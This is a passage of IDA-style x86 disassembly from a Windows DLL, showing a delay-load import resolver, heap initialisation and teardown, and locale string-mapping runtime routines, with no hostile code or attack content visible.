lpProcName	= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
Target		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
hModule		= dword	ptr  8
Arguments	= dword	ptr  0Ch

; FUNCTION CHUNK AT 69B25774 SIZE 00000167 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, [ebp+hModule]
		push	edi
		xor	ebx, ebx
		push	ebx
		push	dword ptr [esi+4]
		call	sub_69B1ABC1
		push	ebx
		push	dword ptr [esi+8]
		mov	edi, eax
		call	sub_69B1ABC1
		push	ebx
		push	dword ptr [esi+0Ch]
		mov	[ebp+Target], eax
		call	sub_69B1ABC1
		push	ebx
		push	dword ptr [esi+10h]
		mov	[ebp+var_18], eax
		call	sub_69B1ABC1
		push	ebx
		push	dword ptr [esi+14h]
		mov	[ebp+var_14], eax
		call	sub_69B1ABC1
		mov	ecx, [ebp+Arguments]
		mov	[ebp+var_10], eax
		mov	eax, [esi+1Ch]
		mov	[ebp+var_8], eax
		xor	eax, eax
		mov	[ebp+lpLibFileName], edi
		lea	edi, [ebp+lpProcName]
		mov	[ebp+var_48], 24h
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], ecx
		mov	[ebp+var_38], ebx
		stosd
		mov	eax, [esi]
		and	eax, 1
		add	esp, 28h
		test	al, al
		mov	[ebp+var_30], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], ebx
		jz	loc_69B25774
		mov	eax, [ebp+Target]
		mov	eax, [eax]
		mov	[ebp+hModule], eax
		mov	eax, ecx
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_14]
		sar	eax, 2
		shl	eax, 2
		mov	[ebp+var_4], eax
		add	eax, ecx
		mov	ecx, [eax]
		shr	ecx, 1Fh
		not	ecx
		and	ecx, 1
		mov	[ebp+var_38], ecx
		jz	loc_69B1AB9A
		push	ebx
		push	dword ptr [eax]
		call	sub_69B1ABC1
		pop	ecx
		inc	eax
		pop	ecx
		inc	eax


loc_69B1AAF1:				; CODE XREF: sub_69B1AA33+16Ej
		mov	[ebp+lpProcName], eax
		mov	eax, dword_69B95DB4
		xor	edi, edi
		cmp	eax, ebx
		jnz	loc_69B25793


loc_69B1AB03:				; CODE XREF: sub_69B1AA33+AD71j
		cmp	[ebp+hModule], ebx
		jnz	short loc_69B1AB43
		mov	eax, dword_69B95DB4
		cmp	eax, ebx
		jnz	loc_69B257A9


loc_69B1AB15:				; CODE XREF: sub_69B1AA33+17Ej
		push	[ebp+lpLibFileName] ; lpLibFileName
		call	ds:LoadLibraryA	; LoadLibraryA
		cmp	eax, ebx
		mov	[ebp+hModule], eax
		jz	loc_69B257B6


loc_69B1AB29:				; CODE XREF: sub_69B1AA33+178j
					; sub_69B1AA33+ADA2j
		push	[ebp+hModule]	; Value
		push	[ebp+Target]	; Target
		call	ds:InterlockedExchange	; InterlockedExchange
		cmp	eax, [ebp+hModule]
		jz	short loc_69B1ABB6
		cmp	[esi+18h], ebx
		jnz	loc_69B257FB


loc_69B1AB43:				; CODE XREF: sub_69B1AA33+D3j
					; sub_69B1AA33+18Cj ...
		mov	eax, [ebp+hModule]
		mov	[ebp+var_30], eax
		mov	eax, dword_69B95DB4
		cmp	eax, ebx
		jnz	loc_69B25818


loc_69B1AB56:				; CODE XREF: sub_69B1AA33+ADEFj
		cmp	edi, ebx
		jnz	short loc_69B1AB7F
		cmp	[esi+14h], ebx
		jz	short loc_69B1AB68
		cmp	[esi+1Ch], ebx
		jnz	loc_69B25827


loc_69B1AB68:				; CODE XREF: sub_69B1AA33+12Aj
		mov	ecx, [ebp+hModule]


loc_69B1AB6B:				; CODE XREF: sub_69B1AA33+AE02j
					; sub_69B1AA33+AE0Ej ...
		push	[ebp+lpProcName] ; lpProcName
		push	ecx		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_69B2587E


loc_69B1AB7F:				; CODE XREF: sub_69B1AA33+125j
					; sub_69B1AA33+AE69j ...
		mov	eax, [ebp+Arguments]
		mov	[eax], edi


loc_69B1AB84:				; CODE XREF: sub_69B1AA33+AD6Bj
					; sub_69B1AA33+AE46j
		mov	eax, dword_69B95DB4
		cmp	eax, ebx
		jnz	loc_69B258C2


loc_69B1AB91:				; CODE XREF: sub_69B1AA33+AEA3j
		mov	eax, edi


loc_69B1AB93:				; CODE XREF: sub_69B1AA33+AD5Bj
					; sub_69B1AA33+ADC3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_69B1AB9A:				; CODE XREF: sub_69B1AA33+ACj
		mov	eax, [eax]
		and	eax, 0FFFFh
		jmp	loc_69B1AAF1
; ---------------------------------------------------------------------------


loc_69B1ABA6:				; CODE XREF: sub_69B1AA33+AD7Ej
		cmp	eax, ebx
		mov	[ebp+hModule], eax
		jnz	loc_69B1AB29
		jmp	loc_69B1AB15
; ---------------------------------------------------------------------------


loc_69B1ABB6:				; CODE XREF: sub_69B1AA33+105j
		push	[ebp+hModule]	; hLibModule
		call	ds:FreeLibrary	; FreeLibrary
		jmp	short loc_69B1AB43
sub_69B1AA33	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1ABC1	proc near		; CODE XREF: sub_69B1AA33+12p
					; sub_69B1AA33+1Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		lea	eax, __ImageBase[eax]
		retn
sub_69B1ABC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1ABCC	proc near		; CODE XREF: DllEntryPoint+14p
		call	ds:GetProcessHeap	; GetProcessHeap
		test	eax, eax
		mov	hHeap, eax
		jz	short loc_69B1ABFB
		call	sub_69B1A975
		test	eax, eax
		jz	short loc_69B1ABFB
		call	sub_69B1CA7C
		call	sub_69B1ABFE
		test	eax, eax
		jz	short loc_69B1ABFB
		call	sub_69B19BC1
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_69B1ABFB:				; CODE XREF: sub_69B1ABCC+Dj
					; sub_69B1ABCC+16j ...
		xor	eax, eax
		retn
sub_69B1ABCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1ABFE	proc near		; CODE XREF: sub_69B1ABCC+1Dp

SystemInfo	= _SYSTEM_INFO ptr -24h

; FUNCTION CHUNK AT 69B23894 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		lea	eax, [ebp+SystemInfo]
		push	eax		; lpSystemInfo
		call	ds:GetSystemInfo	; GetSystemInfo
		cmp	[ebp+SystemInfo.dwNumberOfProcessors], 1
		push	0
		push	0
		setnbe	al
		push	0
		mov	byte_69B929CC, al
		call	sub_69B1AC42
		cmp	dword_69B92954,	1
		mov	dword_69B949F8,	eax
		jz	loc_69B23894


loc_69B1AC37:				; CODE XREF: sub_69B1ABFE+8CA0j
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		mov	eax, ecx
		leave
		retn
sub_69B1ABFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1AC42	proc near		; CODE XREF: sub_69B1ABFE+22p

SystemInfo	= _SYSTEM_INFO ptr -2Ch
dwInitialSize	= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 69B23857 SIZE 0000003D BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		jnz	loc_69B23857
		cmp	[ebp+arg_8], ebx
		jnz	short loc_69B1AC6C
		lea	eax, [ebp+SystemInfo]
		push	eax		; lpSystemInfo
		call	ds:GetSystemInfo	; GetSystemInfo
		mov	eax, [ebp+SystemInfo.dwNumberOfProcessors]
		add	eax, 3
		mov	[ebp+arg_8], eax


loc_69B1AC6C:				; CODE XREF: sub_69B1AC42+15j
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_8]
		xor	edx, edx
		div	esi
		push	edi
		push	ebx		; dwMaximumSize
		push	eax		; dwInitialSize
		push	1		; flOptions
		mov	[ebp+dwInitialSize], eax
		call	ds:HeapCreate	; HeapCreate
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	loc_69B1AD4D
		lea	eax, [esi-1]
		imul	eax, 2270h
		add	eax, 2280h
		cmp	dword_69B92940,	ebx
		push	eax		; dwBytes
		push	ebx		; dwFlags
		push	edi		; hHeap
		jnz	loc_69B1AD43
		call	ds:HeapAlloc


loc_69B1ACB5:				; CODE XREF: sub_69B1AC42+106j
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_69B23866
		lea	eax, [esi+10h]
		push	eax
		mov	edi, 2270h
		push	edi
		mov	dword ptr [esi], 1
		mov	[esi+4], ebx
		mov	[esi+8], ebx
		call	sub_69B1129D
		cmp	eax, ebx
		jz	short loc_69B1ACE8
		push	[ebp+arg_0]
		mov	ecx, eax
		call	sub_69B1AD51


loc_69B1ACE8:				; CODE XREF: sub_69B1AC42+9Aj
		xor	eax, eax
		inc	eax
		cmp	[ebp+arg_8], eax
		mov	[ebp+var_4], eax
		jbe	short loc_69B1AD3A
		lea	eax, [esi+2280h]
		mov	[ebp+arg_4], eax


loc_69B1ACFC:				; CODE XREF: sub_69B1AC42+F6j
		push	ebx		; dwMaximumSize
		push	[ebp+dwInitialSize] ; dwInitialSize
		push	1		; flOptions
		call	ds:HeapCreate	; HeapCreate
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_69B2387A
		push	[ebp+arg_4]
		push	edi
		call	sub_69B1129D
		cmp	eax, ebx
		jz	short loc_69B1AD2A
		push	[ebp+arg_0]
		mov	ecx, eax
		call	sub_69B1AD51


loc_69B1AD2A:				; CODE XREF: sub_69B1AC42+DCj
		inc	dword ptr [esi]
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		add	[ebp+arg_4], edi
		cmp	eax, [ebp+arg_8]
		jb	short loc_69B1ACFC


loc_69B1AD3A:				; CODE XREF: sub_69B1AC42+AFj
		mov	eax, esi


loc_69B1AD3C:				; CODE XREF: sub_69B1AC42+10Dj
		pop	edi
		pop	esi


loc_69B1AD3E:				; CODE XREF: sub_69B1AC42+8C1Fj
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B1AD43:				; CODE XREF: sub_69B1AC42+67j
		call	sub_69B2D461
		jmp	loc_69B1ACB5
; ---------------------------------------------------------------------------


loc_69B1AD4D:				; CODE XREF: sub_69B1AC42+4Aj
					; sub_69B1AC42+8C33j ...
		xor	eax, eax
		jmp	short loc_69B1AD3C
sub_69B1AC42	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1AD51	proc near		; CODE XREF: sub_69B1AC42+A1p
					; sub_69B1AC42+E3p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		push	100h
		push	1000h
		lea	ecx, [esi+2034h]
		call	sub_69B19B0D
		mov	eax, [esp+8+arg_0]
		and	dword ptr [esi+2030h], 0
		mov	[esi], eax
		xor	eax, eax
		mov	ecx, 80h
		lea	edi, [esi+2070h]
		rep stosd
		lea	eax, [esi+4]
		push	eax
		call	sub_69B1AD97
		pop	ecx
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B1AD51	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1AD97	proc near		; CODE XREF: sub_69B1AD51+39p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword ptr [eax+2024h], 0
		or	dword ptr [eax+10h], 0FFFFFFFFh
		or	dword ptr [eax+14h], 0FFFFFFFFh
		lea	ecx, [eax+18h]
		mov	[eax+2020h], eax
		mov	dword ptr [eax+2028h], 1D0h
		mov	[eax], eax
		mov	[eax+4], eax
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		mov	dword ptr [ecx], 0EFh
		mov	dword ptr [eax+1Ch], 0F0h
		retn
sub_69B1AD97	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1ADD6	proc near		; CODE XREF: sub_69B1C43A+Fp
		push	dword_69B949F8
		call	sub_69B1ADE2
		retn
sub_69B1ADD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1ADE2	proc near		; CODE XREF: sub_69B1ADD6+6p
					; sub_69B1AC42+8C41p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, [esi]
		and	dword ptr [esi], 0
		test	ebx, ebx
		push	edi
		jbe	short loc_69B1AE18
		lea	edi, [esi+10h]
		mov	[ebp+arg_0], ebx


loc_69B1ADFA:				; CODE XREF: sub_69B1ADE2+34j
		push	0FFFFFFFFh	; dwMilliseconds
		lea	ecx, [edi+2034h]
		call	sub_69B18F8A
		push	edi
		call	sub_69B120DB
		add	edi, 2270h
		dec	[ebp+arg_0]
		jnz	short loc_69B1ADFA


loc_69B1AE18:				; CODE XREF: sub_69B1ADE2+10j
		dec	ebx
		jz	short loc_69B1AE3B
		mov	eax, ebx
		imul	eax, 2270h
		lea	edi, [eax+esi+10h]


loc_69B1AE27:				; CODE XREF: sub_69B1ADE2+57j
		test	edi, edi
		jz	short loc_69B1AE32
		mov	ecx, edi
		call	sub_69B1AE5D


loc_69B1AE32:				; CODE XREF: sub_69B1ADE2+47j
		sub	edi, 2270h
		dec	ebx
		jnz	short loc_69B1AE27


loc_69B1AE3B:				; CODE XREF: sub_69B1ADE2+37j
		lea	ecx, [esi+10h]
		mov	esi, [ecx]
		and	dword ptr [ecx], 0
		test	ecx, ecx
		jz	short loc_69B1AE4C
		call	sub_69B1AE5D


loc_69B1AE4C:				; CODE XREF: sub_69B1ADE2+63j
		push	esi		; hHeap
		call	ds:HeapDestroy	; HeapDestroy
		pop	edi
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		pop	ebp
		retn	4
sub_69B1ADE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1AE5D	proc near		; CODE XREF: sub_69B1ADE2+4Bp
					; sub_69B1ADE2+65p

; FUNCTION CHUNK AT 69B23427 SIZE 00000015 BYTES

		push	esi
		mov	esi, ecx
		lea	eax, [esi+4]
		push	edi
		push	eax
		call	sub_69B1E5B8
		lea	edi, [esi+2038h]
		add	dword ptr [edi+8], 0FFFFFFF8h
		mov	esi, [esi]
		test	esi, esi
		pop	ecx
		jz	short loc_69B1AE82
		push	esi		; hHeap
		call	ds:HeapDestroy	; HeapDestroy


loc_69B1AE82:				; CODE XREF: sub_69B1AE5D+1Cj
		mov	ecx, edi
		pop	edi
		pop	esi


loc_69B1AE86:				; CODE XREF: .text:69B1B29Bp
					; sub_69B1B3C3+Dj ...
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+1Ch] ; hObject
		mov	dword ptr [esi-4], offset off_69B1F248
		mov	dword ptr [esi], offset	off_69B1B294
		call	ds:CloseHandle	; CloseHandle
		test	eax, eax
		jz	loc_69B23427


loc_69B1AEA7:				; CODE XREF: sub_69B1AE5D+85DAj
		mov	dword ptr [esi-4], offset off_69B1AEB8
		mov	dword ptr [esi], offset	off_69B1BBE0
		pop	esi
		retn
sub_69B1AE5D	endp

; ---------------------------------------------------------------------------
		align 4
off_69B1AEB8	dd offset sub_69B448B2	; DATA XREF: sub_69B19B6A+1Eo
					; sub_69B1AE5D:loc_69B1AEA7o ...
		dd offset sub_69B18E45
		dd offset sub_69B19029

; =============== S U B	R O U T	I N E =======================================



sub_69B1AEC4	proc near		; CODE XREF: sub_69B19189+8Bp
					; sub_69B19189+B3p ...

; FUNCTION CHUNK AT 69B25477 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 69B254C3 SIZE 0000004C BYTES
; FUNCTION CHUNK AT 69B25530 SIZE 000000EE BYTES
; FUNCTION CHUNK AT 69B2562C SIZE 000000B3 BYTES

		push	34h
		push	offset dword_69B1B078
		call	sub_69B19C5C
		xor	edi, edi
		cmp	dword_69B95DAC,	edi
		jnz	short loc_69B1AEFF
		push	edi		; cchDest
		push	edi		; lpDestStr
		xor	esi, esi
		inc	esi
		push	esi		; cchSrc
		push	offset SrcStr	; lpSrcStr
		push	100h		; dwMapFlags
		push	edi		; Locale
		call	ds:LCMapStringW	; LCMapStringW
		test	eax, eax
		jz	loc_69B25477
		mov	dword_69B95DAC,	esi


loc_69B1AEFF:				; CODE XREF: sub_69B1AEC4+14j
					; sub_69B1AEC4+A5BCj ...
		cmp	[ebp+14h], edi
		jle	short loc_69B1AF20
		mov	ecx, [ebp+14h]
		mov	eax, [ebp+10h]


loc_69B1AF0A:				; CODE XREF: sub_69B1AEC4+4Fj
		dec	ecx
		cmp	byte ptr [eax],	0
		jz	short loc_69B1AF18
		inc	eax
		cmp	ecx, edi
		jnz	short loc_69B1AF0A
		or	ecx, 0FFFFFFFFh


loc_69B1AF18:				; CODE XREF: sub_69B1AEC4+4Aj
		or	eax, 0FFFFFFFFh
		sub	eax, ecx
		add	[ebp+14h], eax


loc_69B1AF20:				; CODE XREF: sub_69B1AEC4+3Ej
		mov	eax, dword_69B95DAC
		cmp	eax, 2
		jz	loc_69B25572
		cmp	eax, edi
		jz	loc_69B25572
		cmp	eax, 1
		jnz	loc_69B1B06D
		mov	[ebp-1Ch], edi
		mov	[ebp-20h], edi
		mov	[ebp-24h], edi
		cmp	[ebp+20h], edi
		jz	loc_69B25495


loc_69B1AF51:				; CODE XREF: sub_69B1AEC4+A5D9j
		push	edi		; cchWideChar
		push	edi		; lpWideCharStr
		push	dword ptr [ebp+14h] ; cchMultiByte
		push	dword ptr [ebp+10h] ; lpMultiByteStr
		xor	eax, eax
		cmp	[ebp+24h], edi
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax		; dwFlags
		push	dword ptr [ebp+20h] ; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp-28h], esi
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_69B1B06D
		mov	dword ptr [ebp-4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_69B1B09C
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-2Ch], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B1AFA2:				; CODE XREF: sub_69B254A6+18j
		cmp	[ebp-2Ch], ebx
		jz	loc_69B254C3


loc_69B1AFAB:				; CODE XREF: sub_69B1AEC4+A619j
		push	esi		; cchWideChar
		push	dword ptr [ebp-2Ch] ; lpWideCharStr
		push	dword ptr [ebp+14h] ; cchMultiByte
		push	dword ptr [ebp+10h] ; lpMultiByteStr
		push	1		; dwFlags
		push	dword ptr [ebp+20h] ; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		test	eax, eax
		jz	loc_69B1B050
		push	ebx		; cchDest
		push	ebx		; lpDestStr
		push	esi		; cchSrc
		push	dword ptr [ebp-2Ch] ; lpSrcStr
		push	dword ptr [ebp+0Ch] ; dwMapFlags
		push	dword ptr [ebp+8] ; Locale
		call	ds:LCMapStringW	; LCMapStringW
		mov	edi, eax
		mov	[ebp-1Ch], edi
		cmp	edi, ebx
		jz	short loc_69B1B050
		test	byte ptr [ebp+0Dh], 4
		jnz	loc_69B254E2
		mov	dword ptr [ebp-4], 2
		lea	eax, [edi+edi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_69B1B09C
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B1B00E:				; CODE XREF: sub_69B25513+18j
		cmp	[ebp-30h], ebx
		jz	loc_69B25530


loc_69B1B017:				; CODE XREF: sub_69B1AEC4+A686j
		push	edi		; cchDest
		push	dword ptr [ebp-30h] ; lpDestStr
		push	esi		; cchSrc
		push	dword ptr [ebp-2Ch] ; lpSrcStr
		push	dword ptr [ebp+0Ch] ; dwMapFlags
		push	dword ptr [ebp+8] ; Locale
		call	ds:LCMapStringW	; LCMapStringW
		test	eax, eax
		jz	short loc_69B1B050
		push	ebx		; lpUsedDefaultChar
		push	ebx		; lpDefaultChar
		cmp	[ebp+1Ch], ebx
		jz	loc_69B2554F
		push	dword ptr [ebp+1Ch] ; cchMultiByte
		push	dword ptr [ebp+18h] ; lpMultiByteStr


loc_69B1B040:				; CODE XREF: sub_69B1AEC4+A68Dj
		push	edi		; cchWideChar
		push	dword ptr [ebp-30h] ; lpWideCharStr
		push	ebx		; dwFlags
		push	dword ptr [ebp+20h] ; CodePage
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		mov	edi, eax


loc_69B1B050:				; CODE XREF: sub_69B1AEC4+FEj
					; sub_69B1AEC4+11Dj ...
		cmp	[ebp-24h], ebx
		jnz	loc_69B25556


loc_69B1B059:				; CODE XREF: sub_69B1AEC4+A69Bj
		cmp	[ebp-20h], ebx
		jnz	loc_69B25564


loc_69B1B062:				; CODE XREF: sub_69B1AEC4+A6A9j
		mov	eax, edi


loc_69B1B064:				; CODE XREF: sub_69B1AEC4+1ABj
					; sub_69B1AEC4+A816j
		lea	esp, [ebp-50h]
		call	sub_69B1853C
		retn
; ---------------------------------------------------------------------------


loc_69B1B06D:				; CODE XREF: sub_69B1AEC4+75j
					; sub_69B1AEC4+B7j ...
		xor	eax, eax
		jmp	short loc_69B1B064
sub_69B1AEC4	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B1B078	dd 0FFFFFFFFh			dd offset sub_69B2561E
		dd offset sub_69B25622
		dd 0FFFFFFFFh
		dd offset sub_69B254A2
		dd offset sub_69B254A6
		dd 0FFFFFFFFh
		dd offset sub_69B2550F
		dd offset sub_69B25513

; =============== S U B	R O U T	I N E =======================================



sub_69B1B09C	proc near		; CODE XREF: sub_69B1AEC4+CDp
					; sub_69B1AEC4+139p ...

arg_0		= byte ptr  4

; FUNCTION CHUNK AT 69B2246E SIZE 00000028 BYTES

		cmp	eax, 1000h
		jnb	loc_69B2246E
		neg	eax
		add	eax, esp
		add	eax, 4
		test	[eax], eax
		xchg	eax, esp
		mov	eax, [eax]
		push	eax
		retn
sub_69B1B09C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B1B0B5	proc near		; CODE XREF: sub_69B1E3D1+70p

; FUNCTION CHUNK AT 69B23230 SIZE 00000015 BYTES

		push	ebx
		push	dwTlsIndex
		call	dword_69B92970
		xor	ebx, ebx
		cmp	byte_69B929BD, bl
		jnz	loc_69B23230


loc_69B1B0D0:				; CODE XREF: sub_69B1B0B5+818Bj
		inc	dword_69B929A8
		push	ebp
		push	esi
		push	edi


loc_69B1B0D9:				; CODE XREF: sub_69B1B0B5+8Bj
		mov	esi, dword_69B9295C
		xor	ebp, ebp
		cmp	esi, ebx
		jz	short loc_69B1B142


loc_69B1B0E5:				; CODE XREF: sub_69B1B0B5+87j
		push	esi
		call	sub_69B1B580
		cmp	[esi+18h], bl
		jnz	loc_69B1B188
		lea	edi, [esi+0Ch]
		push	edi		; Target
		call	sub_69B18980
		push	esi
		call	sub_69B11E80
		mov	[edi], eax
		mov	[esi+4], esi


loc_69B1B108:				; CODE XREF: sub_69B1B0B5+D9j
		push	esi
		call	sub_69B1B480
		or	ebp, eax
		cmp	byte_69B92998, bl
		jz	short loc_69B1B137
		push	dword_69B95A14
		call	sub_69B17135
		push	dword_69B95A20
		or	ebp, eax
		call	sub_69B17135
		or	ebp, eax
		call	sub_69B1B193


loc_69B1B137:				; CODE XREF: sub_69B1B0B5+61j
		mov	esi, [esi+14h]
		cmp	esi, ebx
		jnz	short loc_69B1B0E5
		cmp	ebp, ebx
		jnz	short loc_69B1B0D9


loc_69B1B142:				; CODE XREF: sub_69B1B0B5+2Ej
		cmp	byte_69B92998, bl
		pop	edi
		pop	esi
		pop	ebp
		jz	short loc_69B1B16F
		mov	eax, dword_69B95A20
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	eax, dword_69B95A14
		mov	dword_69B95A20,	ebx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	dword_69B95A14,	ebx


loc_69B1B16F:				; CODE XREF: sub_69B1B0B5+96j
		call	sub_69B1C1E2
		dec	dword_69B929AC
		mov	dword_69B9299C,	ebx
		mov	dword_69B929A0,	ebx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_69B1B188:				; CODE XREF: sub_69B1B0B5+39j
		mov	[esi+18h], bl
		mov	[esi+19h], bl
		jmp	loc_69B1B108
sub_69B1B0B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1B193	proc near		; CODE XREF: sub_69B18CB3+59p
					; sub_69B1B0B5+7Dp ...

; FUNCTION CHUNK AT 69B23019 SIZE 0000002B BYTES

		push	14h
		push	offset dword_69B1B1D0
		call	sub_69B19C5C
		push	0		; Value
		push	offset Target	; Target
		call	ds:InterlockedExchange	; InterlockedExchange
		mov	[ebp-1Ch], eax


loc_69B1B1AF:				; CODE XREF: sub_69B2304D+7j
		and	dword ptr [ebp-4], 0


loc_69B1B1B3:				; CODE XREF: sub_69B1B193+7EACj
		mov	esi, [ebp-1Ch]
		mov	[ebp-20h], esi
		test	esi, esi
		jnz	loc_69B23019
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn
sub_69B1B193	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B1B1D0	dd 0FFFFFFFFh			dd offset sub_69B23044
		dd offset sub_69B2304D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1B1F3


loc_69B1B1DC:				; CODE XREF: sub_69B1B1F3+79j
		push	eax		; lpMem
		call	sub_69B1B532
		and	dword ptr [ebx], 0
		dec	dword ptr [edi]
		pop	ecx
		jnz	loc_69B1B272
		jmp	loc_69B238D3
; END OF FUNCTION CHUNK	FOR sub_69B1B1F3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1B1F3	proc near		; CODE XREF: sub_69B18700+10p
					; sub_69B1A48F-55p ...

arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 69B12098 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 69B1B1DC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 69B238C8 SIZE 0000001D BYTES

		push	ebp
		mov	ebp, esp
		cmp	byte_69B929BC, 0
		jnz	loc_69B1B286
		mov	ecx, dword_69B929E4
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		shr	esi, 2
		push	edi
		mov	edi, esi
		shr	edi, 13h
		test	ecx, ecx
		jnz	loc_69B12098


loc_69B1B21F:				; CODE XREF: sub_69B1B1F3-9154j
		cmp	byte_69B95A00, 1
		jz	loc_69B238C8


loc_69B1B22C:				; CODE XREF: sub_69B1B1F3+86DBj
		lea	eax, dword_69B94A00[edi*4]
		mov	edi, [eax]
		mov	[ebp+arg_0], eax
		mov	eax, esi
		and	esi, 0FFFh
		shr	eax, 0Ch
		and	eax, 7Fh
		mov	ecx, esi
		shr	ecx, 5
		lea	ebx, [edi+eax*4+4]
		mov	eax, [ebx]
		lea	edx, [eax+ecx*4+4]
		mov	ecx, esi
		xor	esi, esi
		inc	esi
		and	ecx, 1Fh
		shl	esi, cl
		mov	byte_69B95A00, 1
		not	esi
		and	[edx], esi
		dec	dword ptr [eax]
		jz	loc_69B1B1DC


loc_69B1B272:				; CODE XREF: sub_69B1B1F3-Bj
					; sub_69B1B1F3+86EDj
		mov	ecx, dword_69B929E4
		test	ecx, ecx
		pop	edi
		pop	esi
		mov	byte_69B95A00, 0
		pop	ebx
		jnz	short loc_69B1B28A


loc_69B1B286:				; CODE XREF: sub_69B1B1F3+Aj
					; sub_69B1B1F3+9Cj
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_69B1B28A:				; CODE XREF: sub_69B1B1F3+91j
		call	sub_69B18381
		jmp	short loc_69B1B286
sub_69B1B1F3	endp

; ---------------------------------------------------------------------------
		align 4
off_69B1B294	dd offset loc_69B1B298	; DATA XREF: sub_69B19B0D+2Ao
					; sub_69B1AE5D+36o
; ---------------------------------------------------------------------------


loc_69B1B298:				; DATA XREF: .text:off_69B1B294o
		push	esi
		mov	esi, ecx
		call	loc_69B1AE86
		test	byte ptr [esp+8], 1
		jz	short loc_69B1B2B0
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B1B2B0:				; CODE XREF: .text:69B1B2A5j
		lea	eax, [esi-4]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B1B2B7	proc near		; CODE XREF: .text:69B1B2ABp
					; .text:69B1B3B7p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B22BD2 SIZE 0000000B BYTES

		mov	ecx, [esp+arg_0]
		test	ecx, ecx
		jz	short locret_69B1B2D8
		mov	eax, dword_69B92978
		test	eax, eax
		push	ecx
		jnz	loc_69B22BD2
		push	dword_69B949F8
		call	sub_69B182B8

locret_69B1B2D8:			; CODE XREF: sub_69B1B2B7+6j
					; sub_69B1B2B7+7921j
		retn	4
sub_69B1B2B7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B17F72


loc_69B1B2DB:				; CODE XREF: sub_69B17F72+AAj
					; sub_69B17F72+BEj ...
		mov	eax, dword_69B949FC
		mov	ecx, [esi]
		add	eax, edi
